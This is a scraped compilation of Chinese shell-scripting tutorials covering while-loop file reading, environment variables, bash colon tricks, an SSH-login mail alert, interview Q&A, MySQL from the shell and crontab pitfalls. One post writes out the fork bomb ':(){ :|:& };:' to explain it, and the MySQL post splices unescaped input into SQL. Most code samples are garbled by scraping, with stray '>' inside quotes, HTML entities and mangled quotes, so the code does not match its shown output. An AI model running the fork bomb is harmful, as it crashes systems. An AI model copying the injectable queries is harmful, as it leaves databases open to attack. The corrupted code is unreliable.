Skip to content Skip to main navigation Skip to footer

shell 脚本

shell: shell读取文本

都是使用shell自建的命令进行读取,可实际的结果会有很大的差异。

我们先建立一个测试文件a.txt

a
b
c
d
#e
f
g

然后进行字符串自增的方式进行测试。第一个使用重定向<符号来进行读入文件。

#!/bin/bash
set -x
WR="account >"
while read line
do
	WR="$WR>"" >""$line>"
done<a.txt
echo $WR &#91;/code&#93;
<p>最终我们看到输出的结果就是我们期待的 account a b c d #e f g</p>

+ WR='account '
+ read line
+ WR='account  a'
+ read line
+ WR='account  a b'
+ read line
+ WR='account  a b c'
+ read line
+ WR='account  a b c d'
+ read line
+ WR='account  a b c d #e'
+ read line
+ WR='account  a b c d #e f'
+ read line
+ WR='account  a b c d #e f g'
+ read line
+ echo account a b c d '#e' f g
account a b c d #e f g 

然后我们使用管道和while的方式进行读入,但是得到的结果却不是我们期望的

#!/bin/bash
set -x
WR="account >"
grep -v ^# a.txt | while read line
do
	WR=${WR}" >"${line}
done
echo $WR 

最终的输出为:

+ WR='account '
+ grep -v '^#' a.txt
+ read line
+ WR='account  a'
+ read line
+ WR='account  a b'
+ read line
+ WR='account  a b c'
+ read line
+ WR='account  a b c d'
+ read line
+ WR='account  a b c d f'
+ read line
+ WR='account  a b c d f g'
+ read line
+ echo account
account 

这样的方式,最终的输出居然只有“account”, 而没有别的内容,也就是只有我们初始化的那个内容,可打开调试我们可以看到明明最后一次自增后的结果是对的,可最终输出的值却不是我们想要的。

本来使用这种方式想处理a.txt这样的文本再传入给read,可最终结果既然不是我们想要的,那就用别的吧。 而重定向导入文件的方式是不能对文件进行在外部进行处理的,只能在while循环内部进行。

于是我们就用最后一个中for循环的方式来进行处理:

#!/bin/bash
set -x
WR="account >"
for line in `grep -v ^# a.txt`
do
	WR=${WR}" >"${line}
done
echo $WR 

最终的输出结果我们所期望的。

+ WR='account '
++ grep -v '^#' a.txt
+ for line in '`grep -v ^# a.txt`'
+ WR='account  a'
+ for line in '`grep -v ^# a.txt`'
+ WR='account  a b'
+ for line in '`grep -v ^# a.txt`'
+ WR='account  a b c'
+ for line in '`grep -v ^# a.txt`'
+ WR='account  a b c d'
+ for line in '`grep -v ^# a.txt`'
+ WR='account  a b c d f'
+ for line in '`grep -v ^# a.txt`'
+ WR='account  a b c d f g'
+ echo account a b c d f g
account a b c d f g 

而最终这个结果才是我们真正想要达到的结果。

至于为什么grep -v ^# a.txt | while read line这种方式不行呢? 这个是由于管道造成的。在管道的时候是fork了shell子进程,只有在子进程内这个值才是我们所期待的。 当然我们也可以把最后一个echo语句放到同一个子进程中。 如下 (请注意其中的 括号
):

#!/bin/bash
set -x
declare -x WR="account >"
grep -v ^# a.txt | ( while read line
do
	WR=${WR}" >"${line}
done
echo $WR ) 

得到结果如下:

+ declare -x 'WR=account '
+ grep -v '^#' a.txt
+ read line
+ WR='account  a'
+ read line
+ WR='account  a b'
+ read line
+ WR='account  a b c'
+ read line
+ WR='account  a b c d'
+ read line
+ WR='account  a b c d f'
+ read line
+ WR='account  a b c d f g'
+ read line
+ echo account a b c d f g
account a b c d f g 

而用重定向的方式就会受很多限制,记得只能是重定向文件,而不能是某个命令的结果。

所以综上所述,我们在做这样的操作的时候要注意管道和子进程的问题。 而且当我们读入的文件不是用n来分割的话,可以使用read 加参数的方式,或者直接先用awk进行处理。


shell读取文本
byTimo is my oasis is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License
.

原文:http://timo.piqiu.me/2015/04/22/shell读取文本/

shell: Linux 环境变量配置

Linux 环境,用户通过shell 操作时,系统会为用户初使化环境变量, 比如系统公共资源路径: path , include , bin 等目录。 shell 模式下,执行 export , 查看用户环境变量 , echo $key 查询某个环境变量。

设置环境变量,有两种方式,分为临时设置,与永久设置。

a.临时设置(实时生效)

shell 模式执行:

export PATH=”$PATH:/opt/au1200_rm/build_tools/bin>”

b.永久设置

#行尾追加 export…

vi /etc/profile

export PATH=”$PATH:/opt/au1200_rm/build_tools/bin>”

vi /root/.bashrcexport PATH=”$PATH:/opt/au1200_rm/build_tools/bin>”

以上几种方式可以看出,设置环境变量的过程是一致的。shell 模式,直接执行脚本,将环境变量导入内存中,因此实时生效,其它的shell环境 无法使用该环境变量(隔离性)。 永久设置,在/etc/profile  , /root/.bashrc 文件尾追加 export key=”value>” 这两个文件是用户打开shell 客户端时,自动执行,其中/root/.bashrc 的优先级高于/etc/profile 。 可做如下测试:

vi /etc/profileexport TEST=”test1>”

vi /root/.bashrcexport TEST=”$TEST:test2>”

在新的shell 模式下输入 export , 结果:declare -x TEST=”test1:test2>”

因此 /etc/profile  脚本先于 /root/.bashrc 初使化,后者可以覆盖前者。

设置Linux环境变量的方法和区别 http://www.linuxidc.com/Linux/2015-02/113488.htm

Linux安装JDK和配置环境变量 http://www.linuxidc.com/Linux/2014-11/109598.htm


本文永久更新链接地址
http://www.linuxidc.com/Linux/2015-04/116516.htm

原文:http://www.linuxidc.com/Linux/2015-04/116616.htm

shell: bash中的冒号

前段时间有人在群上发了一个shell命令,问谁敢运行,还说最好在虚拟里运行.于是我研究了一下.

前言

先来shell命令吧.

  1. :(){ :|:& };:

2015.4.21 更新

感谢 nnkken 言简意明的告诉我真正的原因在于无限递归fork子进程。

而这几天我刚好在看 《UNIX环境高级编程》的第九章, 正好第9小节讲的有shell执行程序的原理,于是可以有理有据的更新一下了。

当然,可能写的还有很多不足或错误之处,可以留言告诉我,然后我完善一下。

shell中的冒号

看到这个shell代码,我第一个想法是难道是冒号的特殊用法?

于是查询了一下冒号的用法.

变量默认值

当变量VAR没有声明或者为NULL时,将VAR设置为默认值DEFAULT。

  1. ${VAR:=DEFAULT}

例如下面的测试代码

  1. tiankonguse@tiankonguse:~$ base="hello>"
  2.  
  3. tiankonguse@tiankonguse:~$ echo ${first:="word>"}
  4. word
  5. tiankonguse@tiankonguse:~$ echo $first
  6. word
  7.  
  8. tiankonguse@tiankonguse:~$ second="tiankonguse>"
  9. tiankonguse@tiankonguse:~$ echo $second
  10. tiankonguse
  11.  
  12. tiankonguse@tiankonguse:~$ echo ${second:="word>"}
  13. tiankonguse

空语句

学过 python 的人都知道 python 中有 pass 这个语法.

bash 中的冒号也有这个作用.

  1. if [ $today == "2011-08-29>" ]; then
  2. :
  3. else
  4. echo $today;
  5. fi

清空文件

  1. : > test

shell 函数

看了那几个冒号的作用, 发现那段代码都不符合.

  1. :(){ :|:& };:

然后自己冷静下来分析一下, 发现这不就是一个函数的递归定义然后调用吗?

分析

:(){ :|:& } 是函数定义.

: 是函数调用.

多条 bash 语句写在同一行时,就需要使逗号分隔了.

在函数定义中, :|:& 是函数体.

然后 :|:& 又可以看做 调用函数 : 后把输出作为函数 : 的输入,并后台运行.

这样的话相当于程序死循环和无限递归了,自然系统就会有问题了.

~~ 我们还可以简写为 :(){ :; };: 吧. ~~

上面我说死循环和无限递归的时候, 并没有意识到这样做对机器有什么影响。

死循环和无限递归就像下面的例子,对系统影响不大的。

  1. while(1){
  2. ;
  3. }
  4.  
  5. void dfs(){
  6. dfs();
  7. }

为什么影响不大呢?如果是这样的话, 程序一直在运行,但是只消耗CPU资源而已。

但是我们使用管道后就不一样了。

比如这本书 《UNIX环境高级编程》上面的这个图

shell: bash中的冒号
shell: bash中的冒号

我这边测试时这个样子

  1. tiankonguse:bin $ ps -f | ./cat1 | ./cat2 &
  2. [1] 26964
  3.  
  4. tiankonguse:bin $
  5. UID PID PPID C STIME TTY TIME CMD
  6. tiankonguse 15822 15821 0 09:12 pts/0 00:00:00 -bash
  7. tiankonguse 26962 15822 0 09:34 pts/0 00:00:00 ps -f
  8. tiankonguse 26963 15822 0 09:34 pts/0 00:00:00 ./cat1
  9. tiankonguse 26964 15822 0 09:34 pts/0 00:00:00 ./cat2
  10.  
  11. [1]+ Done ps -f | ./cat1 | ./cat2

我们使用管道时,它会fork子进程。

开启子进程会消耗FD的。

然后结果就像 nnkken 说的那样,结果是下面的样子。

  1. while(1) {
  2. fork();
  3. }

系统死了的原因是FD使用完了。

bash 内的特殊字符

之前我曾总结过, bash 内特殊字符有这些. 特殊字符和引用

当然, 那个文档是去年4月份整理的,那时候才学疏浅的我不知道有没有总结错误.

我们就假设没错把, 那样的话, 里面没有看到冒号,所以我们可以使用冒号当做函数名字了.

测试

  1. tiankonguse@tiankonguse:~$ :(){ echo "tiankonguse $FUNCNAME>"; };:;
  2. tiankonguse :

类似的字符还有很多, 比如

  1. tiankonguse@tiankonguse:~$ .(){ echo "tiankonguse $FUNCNAME>"; };.;
  2. tiankonguse .

参考资料

原文:http://www.kuqin.com/shuoit/20150424/345862.html

shell: 如何设置 Linux 上 SSH 登录的 Email 提醒

你也可以选择性地让警告只对 root 用户生效:

  1. [ root@vps ~]# vi . bashrc

将下面的内容添加到/root/.bashrc的尾部:

  1. echo ‘ALERT – Root Shell Access (vps.ehowstuff.com) on:’ `date` `who` | mail – s “Alert: Root Access from `who | cut -d'(‘ -f2 | cut -d’)’ -f1`>” recipient@gmail . com

整个配置文件样例:

  1. # .bashrc
  2. # User specific aliases and functions
  3. alias rm = ‘rm -i’
  4. alias cp = ‘cp -i’
  5. alias mv = ‘mv -i’
  6. # Source global definitions
  7. if [ – f / etc / bashrc ]; then
  8. . / etc / bashrc
  9. fi
  10. echo ‘ALERT – Root Shell Access (vps.ehowstuff.com) on:’ `date` `who` | mail – s “Alert: Root Access from `who | cut -d'(‘ -f2 | cut -d’)’ -f1`>” recipient@gmail . com

原文:http://www.linuxidc.com/Linux/2015-04/116726.htm

shell: 增强你的bash,提高命令效率之终极利器oh-my-zsh

当我知道了zsh,并体验了5分钟的时候,我决定将 zsh作为我的默认 shell 终端。从这里你可能也就知道了 zsh是 shell 的一种,当然还包括目前估计是你默认的 bash,输入下面的命令,就能看到你的系统中提供了多少的 shell :

cat /etc/shells

前人已经有好多使用 zsh的,所以这类的文章也很多,包括怎么安装、使用技巧等等,请看:

我所使用的几个 plugin 如下 :

使用方法很简单,在 ~/.zshrc文件的plugin下面添加上你想要的插件名称就ok

plugins=(git autojump colored-man colorize copydir history  sublime command -not-found)
 

如果你想要定制化你自己的 zsh,访问官网 http://ohmyz.sh/,上面有你需要的 plugin、theme,有意思的还有T恤……

原文:http://ixirong.com/2015/04/27/strong-bash-use-oh-my-zsh/

shell: 阿里Linux Shell脚本面试25个经典问答

Q:1 Shell脚本是什么、它是必需的吗?

答:一个Shell脚本是一个文本文件,包含一个或多个命令。作为系统管理员,我们经常需要使用多个命令来完成一项任务,我们可以添加这些所有命令在一个文本文件(Shell脚本)来完成这些日常工作任务。

Q:2 什么是默认登录shell,如何改变指定用户的登录shell

答:在Linux操作系统,“/bin/bash”是默认登录shell,是在创建用户时分配的。使用chsh命令可以改变默认的shell。示例如下所示:

Q:3 可以在shell脚本中使用哪些类型的变量?

答:在shell脚本,我们可以使用两种类型的变量:

  • 系统定义变量

  • 用户定义变量

系统变量是由系统系统自己创建的。这些变量通常由大写字母组成,可以通过“set”命令查看。

用户变量由系统用户来生成和定义,变量的值可以通过命令“ echo $<变量名> ”查看。

Q:4 如何将标准输出和错误输出同时重定向到同一位置?

答:这里有两个方法来实现:

方法一:

2>&1(# ls /usr/share/doc > out.txt 2>&1 )

方法二:

&>(# ls /usr/share/doc &> out.txt )

Q:5 shell脚本中“if”语法如何嵌套?

答:基础语法如下:

Q:6 shell脚本中“$?”标记的用途是什么?

答:在写一个shell脚本时,如果你想要检查前一命令是否执行成功,在if条件中使用“$?”可以来检查前一命令的结束状态。简单的例子如下:

如果结束状态是0,说明前一个命令执行成功。


如果结束状态不是0,说明命令执行失败。

Q:7 在shell脚本中如何比较两个数字 ?

答:在if-then中使用测试命令( -gt 等)来比较两个数字,例子如下:

Q:8 shell脚本中break命令的作用 ?

答:break命令一个简单的用途是退出执行中的循环。我们可以在while和until循环中使用break命令跳出循环。

Q:9 shell脚本中continue命令的作用 ?

答:continue命令不同于break命令,它只跳出当前循环的迭代,而不是整个循环。continue命令很多时候是很有用的,例如错误发生,但我们依然希望继续执行大循环的时候。

Q:10 告诉我shell脚本中Case语句的语法 ?

答:基础语法如下:

Q:11 shell脚本中while循环语法 ?

答:如同for循环,while循环只要条件成立就重复它的命令块。不同于for循环,while循环会不断迭代,直到它的条件不为真。基础语法:

Q:12 如何使脚本可执行 ?

答:使用chmod命令来使脚本可执行。例子如下:

1
# chmod a+x myscript.sh

Q:13 “#!/bin/bash”的作用 ?

答:#!/bin/bash是shell脚本的第一行,称为释伴(shebang)行。这里#符号叫做hash,而! 叫做 bang。它的意思是命令通过 /bin/bash 来执行。

Q:14 shell脚本中for循环语法 ?

答:for循环的基础语法:

Q:15 如何调试shell脚本 ?

答:使用’-x’参数(sh -x myscript.sh)可以调试shell脚本。另一个种方法是使用‘-nv’参数( sh -nv myscript.sh)。

Q:16 shell脚本如何比较字符串?

答:test命令可以用来比较字符串。测试命令会通过比较字符串中的每一个字符来比较。

Q:17 Bourne shell(bash) 中有哪些特殊的变量 ?

答:下面的表列出了Bourne shell为命令行设置的特殊变量。

shell: 阿里Linux Shell脚本面试25个经典问答
shell: 阿里Linux Shell脚本面试25个经典问答

Q:18 在shell脚本中,如何测试文件 ?

答:test命令可以用来测试文件。基础用法如下表格:

shell: 阿里Linux Shell脚本面试25个经典问答
shell: 阿里Linux Shell脚本面试25个经典问答

Q:19 在shell脚本中,如何写入注释 ?

答:注释可以用来描述一个脚本可以做什么和它是如何工作的。每一行注释以#开头。例子如下:

Q:20 如何让 shell 就脚本得到来自终端的输入?

答:read命令可以读取来自终端(使用键盘)的数据。read命令得到用户的输入并置于你给出的变量中。例子如下:

Q:21 如何取消变量或取消变量赋值 ?

答:“unset”命令用于取消变量或取消变量赋值。语法如下所示:

1
# unset

Q:22 如何执行算术运算 ?

答:有两种方法来执行算术运算:

使用 expr 命令(# expr 5 + 2) 2.用一个美元符号和方括号( $[ 表达式 ] )例如:test=$[16 + 4] ; test=$[16 + 4]

Q:23 do-while语句的基本格式 ?

答:do-while语句类似于while语句,但检查条件语句之前先执行命令(LCTT 译注:意即至少执行一次。)。下面是用do-while语句的语法

1
2
3
4
do { statements

} while (condition)

Q:24 在shell脚本如何定义函数呢 ?

答:函数是拥有名字的代码块。当我们定义代码块,我们就可以在我们的脚本调用函数名字,该块就会被执行。示例如下所示:

1

$ diskusage () { df -h ; }

“>

Q:25 如何在shell脚本中使用BC(bash计算器) ?

答:使用下列格式,在shell脚本中使用bc:

1

variable=` echo “options; expression” | bc `

shell: 阿里Linux Shell脚本面试25个经典问答
shell: 阿里Linux Shell脚本面试25个经典问答

点击下方 “阅读原文” 查看更多

↓↓↓

原文:http://mp.weixin.qq.com/s?__biz=MjM5ODI5Njc2MA==&mid=205719951&idx=1&sn=4f5072fe426d94d42c4a74564f588b0c&3rd=MzA3MDU4NTYzMw==&scene=6#rd

shell: shell处理mysql增、删、改、查

引言

这几天做一个任务,比对两个数据表中的数据,昨天用PHP写了一个版本,但考虑到有的机器没有php或者php没有编译mysql扩展,就无法使用mysql系列的函数,脚本就无效了,今天写个shell版本的,这样,在所有linux系列机器上就都可以运行了。

shell是如何操作mysql的?

shell操作mysql其实就是通过mysql命令通过参数去执行语句,跟其他程序里面是一样的,看看下面这个参数:

-e, --execute=name  Execute command and quit. (Disables --force and history file.) 

因此我们可以通过mysql -e来执行语句,就像下面这样:

mysql -hlocalhost -P3306 -uroot -p123456 $test --default-character-set=utf8 -e "select * from users>" 

执行之后返回下面结果:

在shell脚本中操作mysql

导出数据

MYSQL="mysql -h192.168.1.102 -uroot -p123456 --default-character-set=utf8 -A -N>"
#这里面有两个参数,-A、-N,-A的含义是不去预读全部数据表信息,这样可以解决在数据表很多的时候卡死的问题
#-N,很简单,Don't write column names in results,获取的数据信息省去列名称
sql="select * from test.user>"
result="$($MYSQL -e >"$sql")>"
dump_data=./data.user.txt
>$dump_data
echo -e "$result>" > $dump_data
#这里要额外注意,echo -e "$result>" > $dump_data的时候一定要加上双引号,不让导出的数据会挤在一行
#下面是返回的测试数据
3       吴彦祖  32
5       王力宏  32
6       ab      32
7       黄晓明  33
8       anonymous       32 

插入数据

#先看看要导入的数据格式,三列,分别是id,名字,年龄(数据是随便捏造的),放入data.user.txt
12 tf 23
13 米勒 24
14 西安电子科技大学 90
15 西安交大 90
16 北京大学 90
#OLF_IFS=$IFS
#IFS=",>"
#临时设置默认分隔符为逗号
cat data.user.txt | while read id name age
do
	sql="insert into test.user(id, name, age) values(${id}, '${name}', ${age});>"
	$MYSQL -e "$sql>"
done 

输出结果

+----+--------------------------+-----+
| id | name                     | age |
+----+--------------------------+-----+
| 12 | tf                       |  23 |
| 13 | 米勒                   	|  24 |
| 14 | 西安电子科技大学 	|  90 |
| 15 | 西安交大             	|  90 |
| 16 | 北京大学             	|  90 |
+----+--------------------------+-----+ 

更新数据

#先看看更新数据的格式,将左边一列替换为右边一列,只有左边一列的删除,下面数据放入update.user.txt
tf twoFile
西安电子科技大学 西军电
西安交大 西安交通大学
北京大学
cat update.user.txt | while read src dst
do
	if [ ! -z "${src}>" -a ! -z "${dst}>" ]
	then
		sql="update test.user set name='${dst}' where name='${src}'>"
	fi
	if [ ! -z "${src}>" -a -z "${dst}>" ]
	then
		sql="delete from test.user where name='${src}'>"
	fi
	$MYSQL -e "$sql>"
done 

输出结果:

+----+--------------------------+-----+
| id | name                     | age |
+----+--------------------------+-----+
| 12 | twoFile                  |  23 |
| 13 | 米勒                   	|  24 |
| 14 | 西军电		 	|  90 |
| 15 | 西安交通大学         	|  90 |
+----+--------------------------+-----+ 

本文版权归作者iforever[

]所有,未经作者本人同意禁止任何形式的转载,转载文章之后必须在文章页面明显位置给出作者和原文连接。

原文:http://www.cnblogs.com/iforever/p/4459857.html

shell: Shell 脚本基础知识

Unix/Linux上常见的Shell脚本解释器有bash、sh、csh、ksh等,习惯上把它们称作为一种Shell。我们常说有多少中Shell,其实说的是Shell脚本解释器。

几种常见的Shell

**sh**
sh是由Steve Bourne 开发,是 Bourne shell  的缩写,sh是Unix标准默认的shell 。
**bash**
bash是由Brian Fox 和 Chet Ramey共同完成。是Bourne Again Shell的缩写。bash是linux标准默认的shell 。
**ash**
ash是由Kenneth Almquist编写,linux中占用资源最少的一个小shell ,它只包含24 个内部命令,因而使用起来不是很方便。
**csh**
csh是linux中比较大的内核,它由以William Joy为代表的共计47 位作者编成,共有52 个内部命令。该shell 其实是指向/bin/tcsh这样的一个shell ,就是说csh就是tcsh。
**ksh**
ksh是由Eric Gisin编写,是Korn Shell的缩写,共有42 条内部命令。该shell 最大的优点是几乎和商业发行版的ksh完全兼容。这样就可以在不用花钱购买商业版本的情况下尝试商业版本的性能了。
**注意:bash是linux默认的shell ,它基于Bourne Shell,吸收了csh和ksh的一些特性,bash完全兼容sh,就是说,用sh写的脚本可以不加修改的在bash中执行** 

第一个Shll脚本

$  vi hello.sh  #新建一个shell脚本(扩展名为sh的文件,sh代表shell,扩展名并不影响脚本的执行。也可以直接起名hello)  

在脚本中输入以下代码:

#!/bin/bash    # "#!>"是一个约定的标记,它告诉系统需要使用哪一种Shell。
echo "Hello World!>"  

运行Shell的方法:

$  chmod +x hello.sh         #给文件增加执行权限
$  ./hello.sh                #执行脚本
$  /bin/sh hello.sh        #以sh运行脚本
$  /bin/bash hello.sh      #以bash运行脚本  

示例:编写一个脚本,从标准输入(stdin)中读取名字,显示在标准输出(stdout)上。

#/bin/bash
echo  "What's your name?>"
read  NAME
echo  "Hello ${NAME} >"  

Shell 变量

定义变量

变量名与等号直接不能有空格。变量明的命名规则需遵循如下规则:

1、首个字符必须为字母(a-z,A-Z)

2、中间不能有空格,可以使用下划线(_)

3、不能使用标点符号

4、不能使用shell里的关键字(在命令行中使用help命令可以查看保留关键字)

变量定义示例:

variableName="value>"    

使用变量使用一个定义过的变量,只要在变量名前面加 $ 符号就可以了。如:

variableName="value>"
echo  $variableName  

有些时候需要在变量名外面加上花括号帮助解释器识别变量的边界,如下面这种情况

SKILL=Ada
echo  "I'm a good at ${SKILL} Script>"  

重新定义变量已经定义的变量,可以被重新定义,如:

#!/bin/bash
NAME=Dave
echo  "Hello ${NAME} >"
NAME=Abby
echo  "Hello ${NAME} >"  

只读变量使用readonly命令可以将变量定义为只读变量,只读变量的值不能改变

#!/bin/bash
NAME=Dave
readonly  NAME
NAME=Abby 

运行脚本会报错,结果如下

./test.sh: line  5 : NAME: readonly variable  

删除变量

使用 unset命令删除变量,变量被删除后不能再次使用; unset命令不能删除只读变量

示例:

#!/bin/bash
NAME=Dave
unset  NAME
echo  $NAME  

运行结果不会有任何输出。

Shell编程浅析 http://www.linuxidc.com/Linux/2014-08/105379.htm

Linux Shell参数替换 http://www.linuxidc.com/Linux/2013-06/85356.htm

Shell for参数 http://www.linuxidc.com/Linux/2013-07/87335.htm

Linux/Unix Shell 参数传递到SQL脚本 http://www.linuxidc.com/Linux/2013-03/80568.htm

Shell脚本中参数传递方法介绍 http://www.linuxidc.com/Linux/2012-08/69155.htm

Shell脚本传递命令行参数 http://www.linuxidc.com/Linux/2012-01/52192.htm

Linux Shell 通配符、转义字符、元字符、特殊字符 http://www.linuxidc.com/Linux/2014-10/108111.htm

Linux Shell脚本面试25问 http://www.linuxidc.com/Linux/2015-04/116474.htm

Shell特殊变量

shell: Shell 脚本基础知识
shell: Shell 脚本基础知识
实例

#!/bin/bash
echo  "File Name : $0 >"
echo  "First Parameter : $1 >"
echo  "Second Parameter : $2 >"
echo  "All Parameter : $@ >"
echo  "All Parameter : $*>"
echo  "Total Number of Parameter $# >"
echo  "The Shell of the process ID is : $$>"
 

运行结果:

$ ./test.sh Dave Abby
File  Name : ./test.sh
First  Parameter  : Dave
Second Parameter  : Abby
All  Parameter  : Dave Abby
All  Parameter  : Dave Abby
Total  Number  of Parameter  2
The Shell of the process ID is : 2752
$ echo $?     #查看./test.sh 退出状态。一般情况下成功返回0 ,失败返回-1
0  

* $ * 和 $ @的区别 *

很多关于shell的书本上写当它们被双引号包含时, $ * 会将所有参数作为一个整体,而 $ @ 会将各个参数分开。但是,我在运行脚本的时候并没有发现这样的情况。我是在Ubuntu1204版本中测试的。代码如下

#!/bin/bash
echo  '$*=' "$*>"
echo  '$@=' "$@ >"
 

Shell替换

命令替换

命令替换是指shell可以先执行命令,将输出结果暂时保存,在适当的地方输出

示例:

#!/bin/bash
DATE=`date`
echo  "$DATE >"
 

变量替换

shell: Shell 脚本基础知识
shell: Shell 脚本基础知识

示例:

#!/bin/bash
echo  ${var:-"Hello>"}
echo  $var
echo  ${var:="Hello>"}
echo  $var
echo  ${var:+"World>"}
echo  $var
unset  var
echo  ${var:?"message>"}
echo  $var
 

结果如下:

$ ./test.sh
Hello
Hello
Hello
World
Hello
./test.sh : line 13 : var: message
 

Shell的if语句

if语句通过关系运算符判断表达式的真假来决定执行那个分支,Shell有三种if语句。

  • if … fi 语句
  • if … else … fi 语句
  • if … elif … else … fi 语句

if … fi 语句的语法

if  [ expression ]
then
    Statement(s) to  be executed if  expression is  true
fi 

**注意:**expression 和方括号之间必须有空格。否则会有语法错误示例:

#!/bin/bash
a=10
b=20
if  [ $a  == $b  ]
then
echo  "a == b>"
fi
if  [ $a  != $b  ]
then
echo  "a! = b>"
fi
 

if … else … fi语句语法

if  [ expression ]
then
    Statement(s) to  be executed if  expression is  true
else
    Statement(s) to  be executed if  expression is  not  true
fi 

示例:

#!/bin/bash
a=10
b=20
if  [ $a  == $b  ]
then
echo  "a == b>"
else
echo  "a! = b>"
fi
 

if … elif …fi语句语法

if  [ expression 1  ]
then
	Statement(s) to  be executed if  expression 1  is  true
elif [ expression 2  ]
then
	Statement(s) to  be executed if  expression 2  is  true
elif [ expression 3  ]
then
	Statement(s) to  be executed if  expression  3  is  true
else
	Statements to  be executed if  expression not  is  true
fi
 

示例:

#!/bin/bash
a=10
b=20
if  [ $a  == $b  ]
then
echo  "a == b>"
elif  [ $a  -gt  $b  ]
then
echo  "a > b>"
elif  [ $a  -lt  $b  ]
then
echo  "a < b>"
else
echo  "None of the condition met>"
fi
 

Shell运算符

bash支持很多运算符。包括算数运算符、关系运算符、布尔运算符、字符串运算符和文件测试运算符。

算数运算符

shell: Shell 脚本基础知识
shell: Shell 脚本基础知识

bash中实现数学运算的语法。

– 使用expr表达式计算工具。 expr 1 + 2

[ 1 + 2 ] − ((1+2))

使用expr时需要注意:

– 表达式和运算符之间要有空格。

– 完整的表达式要被“包含起来。

示例:

#!/bin/bash
a=10
b=20
echo  "`expr $a  + $b `>"
echo  $[$a +$b ]
echo  $((a+b))
echo  "`expr $a  - $b `>"
echo  "`expr $a  * $b `>"  # *号需要转义
echo  $[$a *$b ]
echo  "`expr $a  / $b `>"
echo  "`expr $a  % $b `>"
 

关系运算符

shell: Shell 脚本基础知识
shell: Shell 脚本基础知识

关系运算符只支持数字,不支持字符串。除非字符串的值是数字。

示例:

#!/bin/bash
a=10
b=20
if  [ $a  -eq  $b  ]
then
echo  "a == b>"
else
echo  "a != b>"
fi
if  [ $a  -ne  $b  ]
then
echo  "a != b>"
else
echo  "a == b>"
fi
if  [ $a  -gt  $b  ]
then
echo  "a > b>"
else
echo  "a < b>"
fi
if  [ $a  -lt  $b  ]
then
echo  "a < b>"
else
echo  "a > b>"
fi
if  [ $a  -ge $b  ];then  echo  "a > b>" ;else  echo  "a < b>" ;fi
if  [ $a  -le $b  ];then  echo  "a < b>" ;else  echo  "a > b>" ;fi
 

布尔运算符

示例:

#!/bin/bash
a=10
b=20
if  [ ! $a  -eq  $b  ]; then  echo  "a == b>" ; else  echo  "a != b>" ; fi
if  [ $a  -lt  $b  -o $b  -gt  $a  ]; then  echo  "a < b>" ; else  echo  "a > b>" ; fi
if  [ $a  -le $b  -a  $b  -ge $a  ]; then  echo  "a < b>" ; else  echo  "a > b>" ; fi  

字符串运算符

shell: Shell 脚本基础知识
shell: Shell 脚本基础知识

示例:

#!/bin/bash
a="abc>"
b="edf>"
if  [ ! $a  = $b  ]; then  echo  "a != b>" ; else  echo  "a == b>" ; fi
if  [ $a  != $b  ]; then  echo  "a != b>" ; else  echo  "a == b>" ; fi
if  [ -z $a  -o -z $b  ]; then  echo  "string length isn't zero>" ;
	else  echo  "string length is zero>" ; fi
if  [ -n $a  -a  -n $b  ]; then  echo  "string length is zero>"
else  echo  "string length isn't zero>" ; fi
if  [ $a  -a  $b  ];then  echo  "string length is zero>"
else  echo  "string length isn't zero>" ; fi
 

文件测试运算符

文件测试运算符用于检测文件的各种属性

示例:

#!/bin/bash
if  [ -b $1  ]; then  echo  "$1  is block file>" ; else  echo  "$1  is not block file>" ; fi
if  [ -c $1  ]; then  echo  "$1  is str file>" ; else  echo  "$1  is not str file>" ; fi
if  [ -d  $1  ]; then  echo  "$1  is directory file>" ; else  echo  "$1  is not directory file>" ; fi
if  [ -f  $1  ]; then  echo  "$1  is ordinary file>" ; else  echo  "$1  is not ordinary file>" ; fi
if  [ -g $1  ]; then  echo  "$1  SGID bit>" ; else  echo  "$1  not SGID bit>" ; fi
if  [ -k $1  ]; then  echo  "$1  Sticky bit>" ; else  echo  "$1  not Sticky not bit>" ; fi
if  [ -p $1  ]; then  echo  "$1  is pipe file>" ; else  echo  "$1  is not pipe file>" ; fi
if  [ -u $1  ]; then  echo  "$1  SUID bit>" ; else  echo  "$1  not SUID bit>" ; fi
if  [ -r $1  ]; then  echo  "$1  is read file>" ; else  echo  "$1  is not read file>" ; fi
if  [ -w $1  ]; then  echo  "$1  is write file>" ; else  echo  "$1  is not write file>" ; fi
if  [ -x $1  ]; then  echo  "$1  is execute file>" ; else  echo  "$1  is not execute file>" ; fi
if  [ -s  $1  ]; then  echo  "$1  is not zero>" ; else  echo  "$1  is  zero>" ; fi
if  [ -e  $1  ]; then  echo  "$1  exists>" ; else  echo  "$1  not exists>" ; fi
 

运行结果:

$ ./test.sh  test.sh
test.sh is  not  block  file
test.sh is  not  str file
test.sh is  not  directory file
test.sh is  ordinary file
test.sh not  SGID bit
test.sh not  Sticky not  bit
test.sh is  not  pipe file
test.sh not  SUID bit
test.sh is  read file
test.sh is  write file
test.sh is  execute file
test.sh is  not  zero
test.sh exists
[关于SUID,SGID,Sticky的属性请参考:](<a href="../../Linux/2015-05/116982.htm">http://www.linuxidc.com/Linux/2015-05/116982.htm</a>)  

更多详情见请继续阅读下一页的精彩内容: http://www.linuxidc.com/Linux/2015-05/116981p2.htm

原文:http://www.linuxidc.com/Linux/2015-05/116981.htm

shell: 总是出问题的Crontab

最近用Python写了一些数据统计的脚本,并使用crontab自动执行,但是配置crontab总是要过几个坑才行的,这里总结一下这次遇到的坑。

输出

要将crontab命令的输出记录到日志文件中,可以使用重定向,不仅要重定向 stdout也要重定向 stderr,因为Python解释器会将异常输出到 stderr。示例:

$HOME/path/to/script > $HOME/log/file 2>&1

环境变量

crontab会以用户的身份执行配置的命令,但是不会加载用户的环境变量,crontab会设置几个默认的环境变量,例如SHELL、PATH和HOME等,一定要注意PATH可不是用户自定义的PATH。

我们往往会在 .bash_profile文件中定义一些全局的环境变量,但是crontab执行时并不会加载这个文件,所以你在shell中正常执行的程序,放到crontab里就不行了,很可能就是因为找不到环境变量了。要解决这个问题只能是自己加载环境变量了,可以在shell脚本中添加 source $HOME/.bash_profile,或者直接添加到crontab中。

0 12 * * * source $HOME/.bash_profile && $HOME/path/to/script > $HOME/log/file 2>&1
 

路径

我们在写脚本时往往会使用相对路径,但是在crontab执行脚本时,由于工作目录不同,就会出现找不到文件或者目录不存在的问题。

解决方法是脚本中使用绝对路径或者在执行程序前切换工作目录,例如直接在crontab命令中切换工作目录:

0 12 * * * source $HOME/.bash_profile && cd $HOME/path/to/workdir && ./script > /HOME/log/file 2>&1
 

编码

